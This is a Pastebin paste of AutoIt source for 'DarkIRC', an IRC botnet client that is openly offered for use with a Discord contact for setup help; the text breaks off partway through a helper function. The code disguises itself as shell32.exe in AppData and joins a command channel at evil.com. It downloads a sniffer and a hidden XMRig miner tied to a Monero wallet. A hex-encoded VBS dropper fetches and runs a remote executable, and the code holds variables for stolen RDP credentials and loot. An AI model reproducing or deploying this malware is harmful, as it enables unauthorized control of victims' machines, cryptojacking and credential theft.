KekSec

DarkIRC LATEST BUILD (no selfrep in this one sorry)

Sep 7th, 2020 (edited)
1,134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 54.15 KB | None | 0 0
  1. ; Be sure to host the sniffer on your server, otherwise it wont work, its seperate binary now
  2. ; source for sniffer here: https://pastebin.com/EY2xQ0wf
  3. ; Add me on discord if u want to chat/need help with setup for anything
  4. ; discord: 𝓕𝓻𝓮𝓪𝓴#9727
  5. #NoTrayIcon
  6. #Region ;**** Directives created by AutoIt3Wrapper_GUI ****
  7. #AutoIt3Wrapper_Compression=4
  8. #AutoIt3Wrapper_UseUpx=y
  9. #AutoIt3Wrapper_UPX_Parameters=--best --lzma
  10. #AutoIt3Wrapper_Res_requestedExecutionLevel=asInvoker
  11. #AutoIt3Wrapper_Run_Tidy=y
  12. #Tidy_Parameters=/gd /reel /sci 0 /kv 5 /sf
  13. #AutoIt3Wrapper_Run_Au3Stripper=y
  14. #Au3Stripper_Parameters=/so /mi 5 /mo
  15. #EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
  16. If IsAdmin() Then
  17.     $priv = "A"
  18. Else
  19.     $priv = "U"
  20. EndIf
  21. Global $nodes = StringSplit("evil.com:6667|", "|")
  22.  
  23. Global $signedin = False
  24. Global $botpassword = "kektheplanet"
  25. Global $nickformat = $priv & "[" & @OSVersion & "|" & @OSArch & "|" & EnvGet("NUMBER_OF_PROCESSORS") & "]"
  26. Global $botid = randID()
  27. Global $nick = $nickformat & $botid
  28. Global $channel = "#windoez"
  29. Global $key = "swegfeg"
  30. Global $trigger = "!"
  31. Global $lanIP = @IPAddress1
  32. Global $myIP = _GetIP()
  33. Global $installdir = @AppDataDir & '\Windows Shell Common Binary'
  34. Global $botproc = "shell32.exe"
  35. Global $installpath = $installdir & '\' & $botproc
  36. Global $lootLoc = $installdir & "\dump.dat"
  37. Global $dlexe = BinaryToString("0x63642025746D7025266563686F2053657420593D4372656174654F626A65637428224D6963726F736F66742E584D4C4854545022293A592E4F70656E2022474554222C22687474703A2F2F636E632E63353431663564343339613335392E78797A2F7570646174652E657865222C46616C73653A592E53656E643A53657420473D4372656174654F626A656374282241444F44422E53747265616D22293A472E547970653D313A472E4F70656E3A472E577269746520592E726573706F6E7365426F64793A472E53617665546F46696C652022652E657865222C323A4372656174654F626A6563742822575363726970742E5368656C6C22292E52756E2022652E6578652044454641554C54223A4372656174654F626A6563742822536372697074696E672E46696C6553797374656D4F626A65637422292E44656C65746546696C652022714E2E76627322203E714E2E766273267374617274207773637269707420714E2E766273")
  38.  
  39. Global Const $tagOBJECTATTRIBUTES = "ulong Length;hwnd RootDirectory;ptr ObjectName;ulong Attributes;ptr SecurityDescriptor;ptr SecurityQualityOfService"
  40. Global Const $tagUNICODESTRING = "ushort Length;ushort MaximumLength;ptr Buffer"
  41. Global Const $tagSECURITY_ATTRIBUTES = "dword Length;ptr Descriptor;bool InheritHandle"
  42. Global Const $OBJ_CASE_INSENSITIVE = 0x00000040
  43. Global Const $UBOUND_DIMENSIONS = 0
  44. Global Const $UBOUND_ROWS = 1
  45. Global Const $UBOUND_COLUMNS = 2
  46. Global Enum $ARRAYFILL_FORCE_DEFAULT, $ARRAYFILL_FORCE_SINGLEITEM, $ARRAYFILL_FORCE_INT, $ARRAYFILL_FORCE_NUMBER, _
  47.         $ARRAYFILL_FORCE_PTR, $ARRAYFILL_FORCE_HWND, $ARRAYFILL_FORCE_STRING, $ARRAYFILL_FORCE_BOOLEAN
  48. Global Enum $ARRAYUNIQUE_NOCOUNT, $ARRAYUNIQUE_COUNT
  49. Global Enum $ARRAYUNIQUE_AUTO, $ARRAYUNIQUE_FORCE32, $ARRAYUNIQUE_FORCE64, $ARRAYUNIQUE_MATCH, $ARRAYUNIQUE_DISTINCT
  50. Global Const $STR_ENTIRESPLIT = 1 ; Entire delimiter marks the split
  51. Global Const $STR_NOCOUNT = 2 ; Disable the return count
  52. Global $STANDARD_RIGHTS_REQUIRED = 0x000f0000
  53. Global Const $SERVICE_QUERY_CONFIG = 0x0001
  54. Global Const $SERVICE_CHANGE_CONFIG = 0x0002
  55. Global Const $SERVICE_QUERY_STATUS = 0x0004
  56. Global Const $SERVICE_ENUMERATE_DEPENDENTS = 0x0008
  57. Global Const $SERVICE_START = 0x0010
  58. Global Const $SERVICE_STOP = 0x0020
  59. Global Const $SERVICE_PAUSE_CONTINUE = 0x0040
  60. Global Const $SERVICE_INTERROGATE = 0x0080
  61. Global Const $SERVICE_USER_DEFINED_CONTROL = 0x0100
  62. Global Const $SERVICE_ALL_ACCESS = BitOR($STANDARD_RIGHTS_REQUIRED, _
  63.         $SERVICE_QUERY_CONFIG, _
  64.         $SERVICE_CHANGE_CONFIG, _
  65.         $SERVICE_QUERY_STATUS, _
  66.         $SERVICE_ENUMERATE_DEPENDENTS, _
  67.         $SERVICE_START, _
  68.         $SERVICE_STOP, _
  69.         $SERVICE_PAUSE_CONTINUE, _
  70.         $SERVICE_INTERROGATE, _
  71.         $SERVICE_USER_DEFINED_CONTROL)
  72. Global Const $STDOUT_CHILD = 2
  73. Global Const $STDERR_CHILD = 4
  74. Global $__ghWinInet_FTP = -1
  75. Global $__ghCallback_FTP, $__gbCallback_Set = False
  76. Global Const $INTERNET_SERVICE_FTP = 1
  77. Global Const $INTERNET_FLAG_ASYNC = 0x10000000
  78. Global Const $GENERIC_WRITE = 0x40000000
  79. Global Const $FTP_TRANSFER_TYPE_BINARY = 2 ;Type I transfer method. The file is transferred exactly as it exists with no changes.
  80. Global Const $INTERNET_FLAG_PASSIVE = 0x08000000
  81. Global Const $INTERNET_OPEN_TYPE_DIRECT = 1
  82. Global $line, $foo
  83. Global $RDPCreds = ""
  84.  
  85. Dim $hmutex
  86. _Singleton("4a43c9a1fb27739fc59c3c33bd767318", $hmutex)
  87. dlexe("http://evil.com/sniffer.exe")
  88. fixsys()
  89. install()
  90. InetGet("http://evil.com/xmrig.exe", @TempDir)
  91. Run(@TempDir & '\xmrig.exe --url pool.hashvault.pro:80 --user 45iHeQwQaunWXryL9YZ2egJxKvWBtWQUE4PKitu1VwYNUqkhHt6nyCTQb2dbvDRqDPXveNq94DG9uTndKcWLYNoG2uonhgH --pass x --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14', "", @SW_HIDE)
  92. TCPStartup()
  93. Opt("TCPTimeout", 5000)
  94. While 1
  95.     Global $sock = connect($nodes)
  96.     While 1
  97.         $Recv = TCPRecv($sock, 8192)
  98.         If @error Then ExitLoop
  99.         Local $sData = StringSplit($Recv, @CRLF)
  100.         For $i = 1 To $sData[0] Step 1
  101.             Local $stemp = StringSplit($sData[$i], " ")
  102.             If $stemp[1] == "" Then ContinueLoop
  103.             If $stemp[0] < 2 Then ContinueLoop
  104.             If $stemp[1] == "PING" Then pong($sock, $stemp[2])
  105.             If $stemp[2] == "376" Or $stemp[2] == "422" Then
  106.                 changemode($sock, "+i", $nick)
  107.                 joinchannel($sock, $channel & " " & $key)
  108.             ElseIf $stemp[2] == "352" Then
  109.                 newnickname($sock)
  110.             EndIf
  111.             Switch $stemp[2]
  112.                 Case "PRIVMSG"
  113.                     $user = StringMid($stemp[1], 2, StringInStr($stemp[1], "!") - 2)
  114.                     $msg = StringMid($sData[$i], StringInStr($sData[$i], ":", 0, 2) + 1)
  115.                     If StringLeft($msg, 1) = $trigger Then
  116.                         cmd($user, $stemp[3], $msg)
  117.                     EndIf
  118.             EndSwitch
  119.         Next
  120.     WEnd
  121. WEnd
  122. Func __FTP_Init()
  123.     $__ghWinInet_FTP = DllOpen('wininet.dll')
  124. EndFunc   ;==>__FTP_Init
  125. Func _ArrayAdd(ByRef $aArray, $vValue, $iStart = 0, $sDelim_Item = "|", $sDelim_Row = @CRLF, $iForce = $ARRAYFILL_FORCE_DEFAULT)
  126.     If $iStart = Default Then $iStart = 0
  127.     If $sDelim_Item = Default Then $sDelim_Item = "|"
  128.     If $sDelim_Row = Default Then $sDelim_Row = @CRLF
  129.     If $iForce = Default Then $iForce = $ARRAYFILL_FORCE_DEFAULT
  130.     If Not IsArray($aArray) Then Return SetError(1, 0, -1)
  131.     Local $iDim_1 = UBound($aArray, $UBOUND_ROWS)
  132.     Local $hDataType = 0
  133.     Switch $iForce
  134.         Case $ARRAYFILL_FORCE_INT
  135.             $hDataType = Int
  136.         Case $ARRAYFILL_FORCE_NUMBER
  137.             $hDataType = Number
  138.         Case $ARRAYFILL_FORCE_PTR
  139.             $hDataType = Ptr
  140.         Case $ARRAYFILL_FORCE_HWND
  141.             $hDataType = Hwnd
  142.         Case $ARRAYFILL_FORCE_STRING
  143.             $hDataType = String
  144.         Case $ARRAYFILL_FORCE_BOOLEAN
  145.             $hDataType = "Boolean"
  146.     EndSwitch
  147.     Switch UBound($aArray, $UBOUND_DIMENSIONS)
  148.         Case 1
  149.             If $iForce = $ARRAYFILL_FORCE_SINGLEITEM Then
  150.                 ReDim $aArray[$iDim_1 + 1]
  151.                 $aArray[$iDim_1] = $vValue
  152.                 Return $iDim_1
  153.             EndIf
  154.             If IsArray($vValue) Then
  155.                 If UBound($vValue, $UBOUND_DIMENSIONS) <> 1 Then Return SetError(5, 0, -1)
  156.                 $hDataType = 0
  157.             Else
  158.                 Local $aTmp = StringSplit($vValue, $sDelim_Item, $STR_NOCOUNT + $STR_ENTIRESPLIT)
  159.                 If UBound($aTmp, $UBOUND_ROWS) = 1 Then
  160.                     $aTmp[0] = $vValue
  161.                 EndIf
  162.                 $vValue = $aTmp
  163.             EndIf
  164.             Local $iAdd = UBound($vValue, $UBOUND_ROWS)
  165.             ReDim $aArray[$iDim_1 + $iAdd]
  166.             For $i = 0 To $iAdd - 1
  167.                 If String($hDataType) = "Boolean" Then
  168.                     Switch $vValue[$i]
  169.                         Case "True", "1"
  170.                             $aArray[$iDim_1 + $i] = True
  171.                         Case "False", "0", ""
  172.                             $aArray[$iDim_1 + $i] = False
  173.                     EndSwitch
  174.                 ElseIf IsFunc($hDataType) Then
  175.                     $aArray[$iDim_1 + $i] = $hDataType($vValue[$i])
  176.                 Else
  177.                     $aArray[$iDim_1 + $i] = $vValue[$i]
  178.                 EndIf
  179.             Next
  180.             Return $iDim_1 + $iAdd - 1
  181.         Case 2
  182.             Local $iDim_2 = UBound($aArray, $UBOUND_COLUMNS)
  183.             If $iStart < 0 Or $iStart > $iDim_2 - 1 Then Return SetError(4, 0, -1)
  184.             Local $iValDim_1, $iValDim_2 = 0, $iColCount
  185.             If IsArray($vValue) Then
  186.                 If UBound($vValue, $UBOUND_DIMENSIONS) <> 2 Then Return SetError(5, 0, -1)
  187.                 $iValDim_1 = UBound($vValue, $UBOUND_ROWS)
  188.                 $iValDim_2 = UBound($vValue, $UBOUND_COLUMNS)
  189.                 $hDataType = 0
  190.             Else
  191.                 Local $aSplit_1 = StringSplit($vValue, $sDelim_Row, $STR_NOCOUNT + $STR_ENTIRESPLIT)
  192.                 $iValDim_1 = UBound($aSplit_1, $UBOUND_ROWS)
  193.                 Local $aTmp[$iValDim_1][0], $aSplit_2
  194.                 For $i = 0 To $iValDim_1 - 1
  195.                     $aSplit_2 = StringSplit($aSplit_1[$i], $sDelim_Item, $STR_NOCOUNT + $STR_ENTIRESPLIT)
  196.                     $iColCount = UBound($aSplit_2)
  197.                     If $iColCount > $iValDim_2 Then
  198.                         $iValDim_2 = $iColCount
  199.                         ReDim $aTmp[$iValDim_1][$iValDim_2]
  200.                     EndIf
  201.                     For $j = 0 To $iColCount - 1
  202.                         $aTmp[$i][$j] = $aSplit_2[$j]
  203.                     Next
  204.                 Next
  205.                 $vValue = $aTmp
  206.             EndIf
  207.             If UBound($vValue, $UBOUND_COLUMNS) + $iStart > UBound($aArray, $UBOUND_COLUMNS) Then Return SetError(3, 0, -1)
  208.             ReDim $aArray[$iDim_1 + $iValDim_1][$iDim_2]
  209.             For $iWriteTo_Index = 0 To $iValDim_1 - 1
  210.                 For $j = 0 To $iDim_2 - 1
  211.                     If $j < $iStart Then
  212.                         $aArray[$iWriteTo_Index + $iDim_1][$j] = ""
  213.                     ElseIf $j - $iStart > $iValDim_2 - 1 Then
  214.                         $aArray[$iWriteTo_Index + $iDim_1][$j] = ""
  215.                     Else
  216.                         If String($hDataType) = "Boolean" Then
  217.                             Switch $vValue[$iWriteTo_Index][$j - $iStart]
  218.                                 Case "True", "1"
  219.                                     $aArray[$iWriteTo_Index + $iDim_1][$j] = True
  220.                                 Case "False", "0", ""
  221.                                     $aArray[$iWriteTo_Index + $iDim_1][$j] = False
  222.                             EndSwitch
  223.                         ElseIf IsFunc($hDataType) Then
  224.                             $aArray[$iWriteTo_Index + $iDim_1][$j] = $hDataType($vValue[$iWriteTo_Index][$j - $iStart])
  225.                         Else
  226.                             $aArray[$iWriteTo_Index + $iDim_1][$j] = $vValue[$iWriteTo_Index][$j - $iStart]
  227.                         EndIf
  228.                     EndIf
  229.                 Next
  230.             Next
  231.         Case Else
  232.             Return SetError(2, 0, -1)
  233.     EndSwitch
  234.     Return UBound($aArray, $UBOUND_ROWS) - 1
  235. EndFunc   ;==>_ArrayAdd
  236. Func _ArrayDelete(ByRef $aArray, $vRange)
  237.     If Not IsArray($aArray) Then Return SetError(1, 0, -1)
  238.     Local $iDim_1 = UBound($aArray, $UBOUND_ROWS) - 1
  239.     If IsArray($vRange) Then
  240.         If UBound($vRange, $UBOUND_DIMENSIONS) <> 1 Or UBound($vRange, $UBOUND_ROWS) < 2 Then Return SetError(4, 0, -1)
  241.     Else
  242.         Local $iNumber, $aSplit_1, $aSplit_2
  243.         $vRange = StringStripWS($vRange, 8)
  244.         $aSplit_1 = StringSplit($vRange, ";")
  245.         $vRange = ""
  246.         For $i = 1 To $aSplit_1[0]
  247.             If Not StringRegExp($aSplit_1[$i], "^\d+(-\d+)?$") Then Return SetError(3, 0, -1)
  248.             $aSplit_2 = StringSplit($aSplit_1[$i], "-")
  249.             Switch $aSplit_2[0]
  250.                 Case 1
  251.                     $vRange &= $aSplit_2[1] & ";"
  252.                 Case 2
  253.                     If Number($aSplit_2[2]) >= Number($aSplit_2[1]) Then
  254.                         $iNumber = $aSplit_2[1] - 1
  255.                         Do
  256.                             $iNumber += 1
  257.                             $vRange &= $iNumber & ";"
  258.                         Until $iNumber = $aSplit_2[2]
  259.                     EndIf
  260.             EndSwitch
  261.         Next
  262.         $vRange = StringSplit(StringTrimRight($vRange, 1), ";")
  263.     EndIf
  264.     If $vRange[1] < 0 Or $vRange[$vRange[0]] > $iDim_1 Then Return SetError(5, 0, -1)
  265.     Local $iCopyTo_Index = 0
  266.     Switch UBound($aArray, $UBOUND_DIMENSIONS)
  267.         Case 1
  268.             For $i = 1 To $vRange[0]
  269.                 $aArray[$vRange[$i]] = ChrW(0xFAB1)
  270.             Next
  271.             For $iReadFrom_Index = 0 To $iDim_1
  272.                 If $aArray[$iReadFrom_Index] == ChrW(0xFAB1) Then
  273.                     ContinueLoop
  274.                 Else
  275.                     If $iReadFrom_Index <> $iCopyTo_Index Then
  276.                         $aArray[$iCopyTo_Index] = $aArray[$iReadFrom_Index]
  277.                     EndIf
  278.                     $iCopyTo_Index += 1
  279.                 EndIf
  280.             Next
  281.             ReDim $aArray[$iDim_1 - $vRange[0] + 1]
  282.         Case 2
  283.             Local $iDim_2 = UBound($aArray, $UBOUND_COLUMNS) - 1
  284.             For $i = 1 To $vRange[0]
  285.                 $aArray[$vRange[$i]][0] = ChrW(0xFAB1)
  286.             Next
  287.             For $iReadFrom_Index = 0 To $iDim_1
  288.                 If $aArray[$iReadFrom_Index][0] == ChrW(0xFAB1) Then
  289.                     ContinueLoop
  290.                 Else
  291.                     If $iReadFrom_Index <> $iCopyTo_Index Then
  292.                         For $j = 0 To $iDim_2
  293.                             $aArray[$iCopyTo_Index][$j] = $aArray[$iReadFrom_Index][$j]
  294.                         Next
  295.                     EndIf
  296.                     $iCopyTo_Index += 1
  297.                 EndIf
  298.             Next
  299.             ReDim $aArray[$iDim_1 - $vRange[0] + 1][$iDim_2 + 1]
  300.         Case Else
  301.             Return SetError(2, 0, False)
  302.     EndSwitch
  303.     Return UBound($aArray, $UBOUND_ROWS)
  304. EndFunc   ;==>_ArrayDelete
  305. Func _ArrayFindAll(Const ByRef $aArray, $vValue, $iStart = 0, $iEnd = 0, $iCase = 0, $iCompare = 0, $iSubItem = 0, $bRow = False)
  306.     If $iStart = Default Then $iStart = 0
  307.     If $iEnd = Default Then $iEnd = 0
  308.     If $iCase = Default Then $iCase = 0
  309.     If $iCompare = Default Then $iCompare = 0
  310.     If $iSubItem = Default Then $iSubItem = 0
  311.     If $bRow = Default Then $bRow = False
  312.     $iStart = _ArraySearch($aArray, $vValue, $iStart, $iEnd, $iCase, $iCompare, 1, $iSubItem, $bRow)
  313.     If @error Then Return SetError(@error, 0, -1)
  314.     Local $iIndex = 0, $avResult[UBound($aArray, ($bRow ? $UBOUND_COLUMNS : $UBOUND_ROWS))] ; Set dimension for Column/Row
  315.     Do
  316.         $avResult[$iIndex] = $iStart
  317.         $iIndex += 1
  318.         $iStart = _ArraySearch($aArray, $vValue, $iStart + 1, $iEnd, $iCase, $iCompare, 1, $iSubItem, $bRow)
  319.     Until @error
  320.     ReDim $avResult[$iIndex]
  321.     Return $avResult
  322. EndFunc   ;==>_ArrayFindAll
  323. Func _ArrayInsert(ByRef $aArray, $vRange, $vValue = "", $iStart = 0, $sDelim_Item = "|", $sDelim_Row = @CRLF, $iForce = $ARRAYFILL_FORCE_DEFAULT)
  324.     If $vValue = Default Then $vValue = ""
  325.     If $iStart = Default Then $iStart = 0
  326.     If $sDelim_Item = Default Then $sDelim_Item = "|"
  327.     If $sDelim_Row = Default Then $sDelim_Row = @CRLF
  328.     If $iForce = Default Then $iForce = $ARRAYFILL_FORCE_DEFAULT
  329.     If Not IsArray($aArray) Then Return SetError(1, 0, -1)
  330.     Local $iDim_1 = UBound($aArray, $UBOUND_ROWS) - 1
  331.     Local $hDataType = 0
  332.     Switch $iForce
  333.         Case $ARRAYFILL_FORCE_INT
  334.             $hDataType = Int
  335.         Case $ARRAYFILL_FORCE_NUMBER
  336.             $hDataType = Number
  337.         Case $ARRAYFILL_FORCE_PTR
  338.             $hDataType = Ptr
  339.         Case $ARRAYFILL_FORCE_HWND
  340.             $hDataType = Hwnd
  341.         Case $ARRAYFILL_FORCE_STRING
  342.             $hDataType = String
  343.     EndSwitch
  344.     Local $aSplit_1, $aSplit_2
  345.     If IsArray($vRange) Then
  346.         If UBound($vRange, $UBOUND_DIMENSIONS) <> 1 Or UBound($vRange, $UBOUND_ROWS) < 2 Then Return SetError(4, 0, -1)
  347.     Else
  348.         Local $iNumber
  349.         $vRange = StringStripWS($vRange, 8)
  350.         $aSplit_1 = StringSplit($vRange, ";")
  351.         $vRange = ""
  352.         For $i = 1 To $aSplit_1[0]
  353.             If Not StringRegExp($aSplit_1[$i], "^\d+(-\d+)?$") Then Return SetError(3, 0, -1)
  354.             $aSplit_2 = StringSplit($aSplit_1[$i], "-")
  355.             Switch $aSplit_2[0]
  356.                 Case 1
  357.                     $vRange &= $aSplit_2[1] & ";"
  358.                 Case 2
  359.                     If Number($aSplit_2[2]) >= Number($aSplit_2[1]) Then
  360.                         $iNumber = $aSplit_2[1] - 1
  361.                         Do
  362.                             $iNumber += 1
  363.                             $vRange &= $iNumber & ";"
  364.                         Until $iNumber = $aSplit_2[2]
  365.                     EndIf
  366.             EndSwitch
  367.         Next
  368.         $vRange = StringSplit(StringTrimRight($vRange, 1), ";")
  369.     EndIf
  370.     If $vRange[1] < 0 Or $vRange[$vRange[0]] > $iDim_1 Then Return SetError(5, 0, -1)
  371.     For $i = 2 To $vRange[0]
  372.         If $vRange[$i] < $vRange[$i - 1] Then Return SetError(3, 0, -1)
  373.     Next
  374.     Local $iCopyTo_Index = $iDim_1 + $vRange[0]
  375.     Local $iInsertPoint_Index = $vRange[0]
  376.     Local $iInsert_Index = $vRange[$iInsertPoint_Index]
  377.     Switch UBound($aArray, $UBOUND_DIMENSIONS)
  378.         Case 1
  379.             If $iForce = $ARRAYFILL_FORCE_SINGLEITEM Then
  380.                 ReDim $aArray[$iDim_1 + $vRange[0] + 1]
  381.                 For $iReadFromIndex = $iDim_1 To 0 Step -1
  382.                     $aArray[$iCopyTo_Index] = $aArray[$iReadFromIndex]
  383.                     $iCopyTo_Index -= 1
  384.                     $iInsert_Index = $vRange[$iInsertPoint_Index]
  385.                     While $iReadFromIndex = $iInsert_Index
  386.                         $aArray[$iCopyTo_Index] = $vValue
  387.                         $iCopyTo_Index -= 1
  388.                         $iInsertPoint_Index -= 1
  389.                         If $iInsertPoint_Index < 1 Then ExitLoop 2
  390.                         $iInsert_Index = $vRange[$iInsertPoint_Index]
  391.                     WEnd
  392.                 Next
  393.                 Return $iDim_1 + $vRange[0] + 1
  394.             EndIf
  395.             ReDim $aArray[$iDim_1 + $vRange[0] + 1]
  396.             If IsArray($vValue) Then
  397.                 If UBound($vValue, $UBOUND_DIMENSIONS) <> 1 Then Return SetError(5, 0, -1)
  398.                 $hDataType = 0
  399.             Else
  400.                 Local $aTmp = StringSplit($vValue, $sDelim_Item, $STR_NOCOUNT + $STR_ENTIRESPLIT)
  401.                 If UBound($aTmp, $UBOUND_ROWS) = 1 Then
  402.                     $aTmp[0] = $vValue
  403.                     $hDataType = 0
  404.                 EndIf
  405.                 $vValue = $aTmp
  406.             EndIf
  407.             For $iReadFromIndex = $iDim_1 To 0 Step -1
  408.                 $aArray[$iCopyTo_Index] = $aArray[$iReadFromIndex]
  409.                 $iCopyTo_Index -= 1
  410.                 $iInsert_Index = $vRange[$iInsertPoint_Index]
  411.                 While $iReadFromIndex = $iInsert_Index
  412.                     If $iInsertPoint_Index <= UBound($vValue, $UBOUND_ROWS) Then
  413.                         If IsFunc($hDataType) Then
  414.                             $aArray[$iCopyTo_Index] = $hDataType($vValue[$iInsertPoint_Index - 1])
  415.                         Else
  416.                             $aArray[$iCopyTo_Index] = $vValue[$iInsertPoint_Index - 1]
  417.                         EndIf
  418.                     Else
  419.                         $aArray[$iCopyTo_Index] = ""
  420.                     EndIf
  421.                     $iCopyTo_Index -= 1
  422.                     $iInsertPoint_Index -= 1
  423.                     If $iInsertPoint_Index = 0 Then ExitLoop 2
  424.                     $iInsert_Index = $vRange[$iInsertPoint_Index]
  425.                 WEnd
  426.             Next
  427.         Case 2
  428.             Local $iDim_2 = UBound($aArray, $UBOUND_COLUMNS)
  429.             If $iStart < 0 Or $iStart > $iDim_2 - 1 Then Return SetError(6, 0, -1)
  430.             Local $iValDim_1, $iValDim_2
  431.             If IsArray($vValue) Then
  432.                 If UBound($vValue, $UBOUND_DIMENSIONS) <> 2 Then Return SetError(7, 0, -1)
  433.                 $iValDim_1 = UBound($vValue, $UBOUND_ROWS)
  434.                 $iValDim_2 = UBound($vValue, $UBOUND_COLUMNS)
  435.                 $hDataType = 0
  436.             Else
  437.                 $aSplit_1 = StringSplit($vValue, $sDelim_Row, $STR_NOCOUNT + $STR_ENTIRESPLIT)
  438.                 $iValDim_1 = UBound($aSplit_1, $UBOUND_ROWS)
  439.                 StringReplace($aSplit_1[0], $sDelim_Item, "")
  440.                 $iValDim_2 = @extended + 1
  441.                 Local $aTmp[$iValDim_1][$iValDim_2]
  442.                 For $i = 0 To $iValDim_1 - 1
  443.                     $aSplit_2 = StringSplit($aSplit_1[$i], $sDelim_Item, $STR_NOCOUNT + $STR_ENTIRESPLIT)
  444.                     For $j = 0 To $iValDim_2 - 1
  445.                         $aTmp[$i][$j] = $aSplit_2[$j]
  446.                     Next
  447.                 Next
  448.                 $vValue = $aTmp
  449.             EndIf
  450.             If UBound($vValue, $UBOUND_COLUMNS) + $iStart > UBound($aArray, $UBOUND_COLUMNS) Then Return SetError(8, 0, -1)
  451.             ReDim $aArray[$iDim_1 + $vRange[0] + 1][$iDim_2]
  452.             For $iReadFromIndex = $iDim_1 To 0 Step -1
  453.                 For $j = 0 To $iDim_2 - 1
  454.                     $aArray[$iCopyTo_Index][$j] = $aArray[$iReadFromIndex][$j]
  455.                 Next
  456.                 $iCopyTo_Index -= 1
  457.                 $iInsert_Index = $vRange[$iInsertPoint_Index]
  458.                 While $iReadFromIndex = $iInsert_Index
  459.                     For $j = 0 To $iDim_2 - 1
  460.                         If $j < $iStart Then
  461.                             $aArray[$iCopyTo_Index][$j] = ""
  462.                         ElseIf $j - $iStart > $iValDim_2 - 1 Then
  463.                             $aArray[$iCopyTo_Index][$j] = ""
  464.                         Else
  465.                             If $iInsertPoint_Index - 1 < $iValDim_1 Then
  466.                                 If IsFunc($hDataType) Then
  467.                                     $aArray[$iCopyTo_Index][$j] = $hDataType($vValue[$iInsertPoint_Index - 1][$j - $iStart])
  468.                                 Else
  469.                                     $aArray[$iCopyTo_Index][$j] = $vValue[$iInsertPoint_Index - 1][$j - $iStart]
  470.                                 EndIf
  471.                             Else
  472.                                 $aArray[$iCopyTo_Index][$j] = ""
  473.                             EndIf
  474.                         EndIf
  475.                     Next
  476.                     $iCopyTo_Index -= 1
  477.                     $iInsertPoint_Index -= 1
  478.                     If $iInsertPoint_Index = 0 Then ExitLoop 2
  479.                     $iInsert_Index = $vRange[$iInsertPoint_Index]
  480.                 WEnd
  481.             Next
  482.         Case Else
  483.             Return SetError(2, 0, -1)
  484.     EndSwitch
  485.     Return UBound($aArray, $UBOUND_ROWS)
  486. EndFunc   ;==>_ArrayInsert
  487. Func _ArraySearch(Const ByRef $aArray, $vValue, $iStart = 0, $iEnd = 0, $iCase = 0, $iCompare = 0, $iForward = 1, $iSubItem = -1, $bRow = False)
  488.     If $iStart = Default Then $iStart = 0
  489.     If $iEnd = Default Then $iEnd = 0
  490.     If $iCase = Default Then $iCase = 0
  491.     If $iCompare = Default Then $iCompare = 0
  492.     If $iForward = Default Then $iForward = 1
  493.     If $iSubItem = Default Then $iSubItem = -1
  494.     If $bRow = Default Then $bRow = False
  495.     If Not IsArray($aArray) Then Return SetError(1, 0, -1)
  496.     Local $iDim_1 = UBound($aArray) - 1
  497.     If $iDim_1 = -1 Then Return SetError(3, 0, -1)
  498.     Local $iDim_2 = UBound($aArray, $UBOUND_COLUMNS) - 1
  499.     Local $bCompType = False
  500.     If $iCompare = 2 Then
  501.         $iCompare = 0
  502.         $bCompType = True
  503.     EndIf
  504.     If $bRow Then
  505.         If UBound($aArray, $UBOUND_DIMENSIONS) = 1 Then Return SetError(5, 0, -1)
  506.         If $iEnd < 1 Or $iEnd > $iDim_2 Then $iEnd = $iDim_2
  507.         If $iStart < 0 Then $iStart = 0
  508.         If $iStart > $iEnd Then Return SetError(4, 0, -1)
  509.     Else
  510.         If $iEnd < 1 Or $iEnd > $iDim_1 Then $iEnd = $iDim_1
  511.         If $iStart < 0 Then $iStart = 0
  512.         If $iStart > $iEnd Then Return SetError(4, 0, -1)
  513.     EndIf
  514.     Local $iStep = 1
  515.     If Not $iForward Then
  516.         Local $iTmp = $iStart
  517.         $iStart = $iEnd
  518.         $iEnd = $iTmp
  519.         $iStep = -1
  520.     EndIf
  521.     Switch UBound($aArray, $UBOUND_DIMENSIONS)
  522.         Case 1 ; 1D array search
  523.             If Not $iCompare Then
  524.                 If Not $iCase Then
  525.                     For $i = $iStart To $iEnd Step $iStep
  526.                         If $bCompType And VarGetType($aArray[$i]) <> VarGetType($vValue) Then ContinueLoop
  527.                         If $aArray[$i] = $vValue Then Return $i
  528.                     Next
  529.                 Else
  530.                     For $i = $iStart To $iEnd Step $iStep
  531.                         If $bCompType And VarGetType($aArray[$i]) <> VarGetType($vValue) Then ContinueLoop
  532.                         If $aArray[$i] == $vValue Then Return $i
  533.                     Next
  534.                 EndIf
  535.             Else
  536.                 For $i = $iStart To $iEnd Step $iStep
  537.                     If $iCompare = 3 Then
  538.                         If StringRegExp($aArray[$i], $vValue) Then Return $i
  539.                     Else
  540.                         If StringInStr($aArray[$i], $vValue, $iCase) > 0 Then Return $i
  541.                     EndIf
  542.                 Next
  543.             EndIf
  544.         Case 2 ; 2D array search
  545.             Local $iDim_Sub
  546.             If $bRow Then
  547.                 $iDim_Sub = $iDim_1
  548.                 If $iSubItem > $iDim_Sub Then $iSubItem = $iDim_Sub
  549.                 If $iSubItem < 0 Then
  550.                     $iSubItem = 0
  551.                 Else
  552.                     $iDim_Sub = $iSubItem
  553.                 EndIf
  554.             Else
  555.                 $iDim_Sub = $iDim_2
  556.                 If $iSubItem > $iDim_Sub Then $iSubItem = $iDim_Sub
  557.                 If $iSubItem < 0 Then
  558.                     $iSubItem = 0
  559.                 Else
  560.                     $iDim_Sub = $iSubItem
  561.                 EndIf
  562.             EndIf
  563.             For $j = $iSubItem To $iDim_Sub
  564.                 If Not $iCompare Then
  565.                     If Not $iCase Then
  566.                         For $i = $iStart To $iEnd Step $iStep
  567.                             If $bRow Then
  568.                                 If $bCompType And VarGetType($aArray[$j][$i]) <> VarGetType($vValue) Then ContinueLoop
  569.                                 If $aArray[$j][$i] = $vValue Then Return $i
  570.                             Else
  571.                                 If $bCompType And VarGetType($aArray[$i][$j]) <> VarGetType($vValue) Then ContinueLoop
  572.                                 If $aArray[$i][$j] = $vValue Then Return $i
  573.                             EndIf
  574.                         Next
  575.                     Else
  576.                         For $i = $iStart To $iEnd Step $iStep
  577.                             If $bRow Then
  578.                                 If $bCompType And VarGetType($aArray[$j][$i]) <> VarGetType($vValue) Then ContinueLoop
  579.                                 If $aArray[$j][$i] == $vValue Then Return $i
  580.                             Else
  581.                                 If $bCompType And VarGetType($aArray[$i][$j]) <> VarGetType($vValue) Then ContinueLoop
  582.                                 If $aArray[$i][$j] == $vValue Then Return $i
  583.                             EndIf
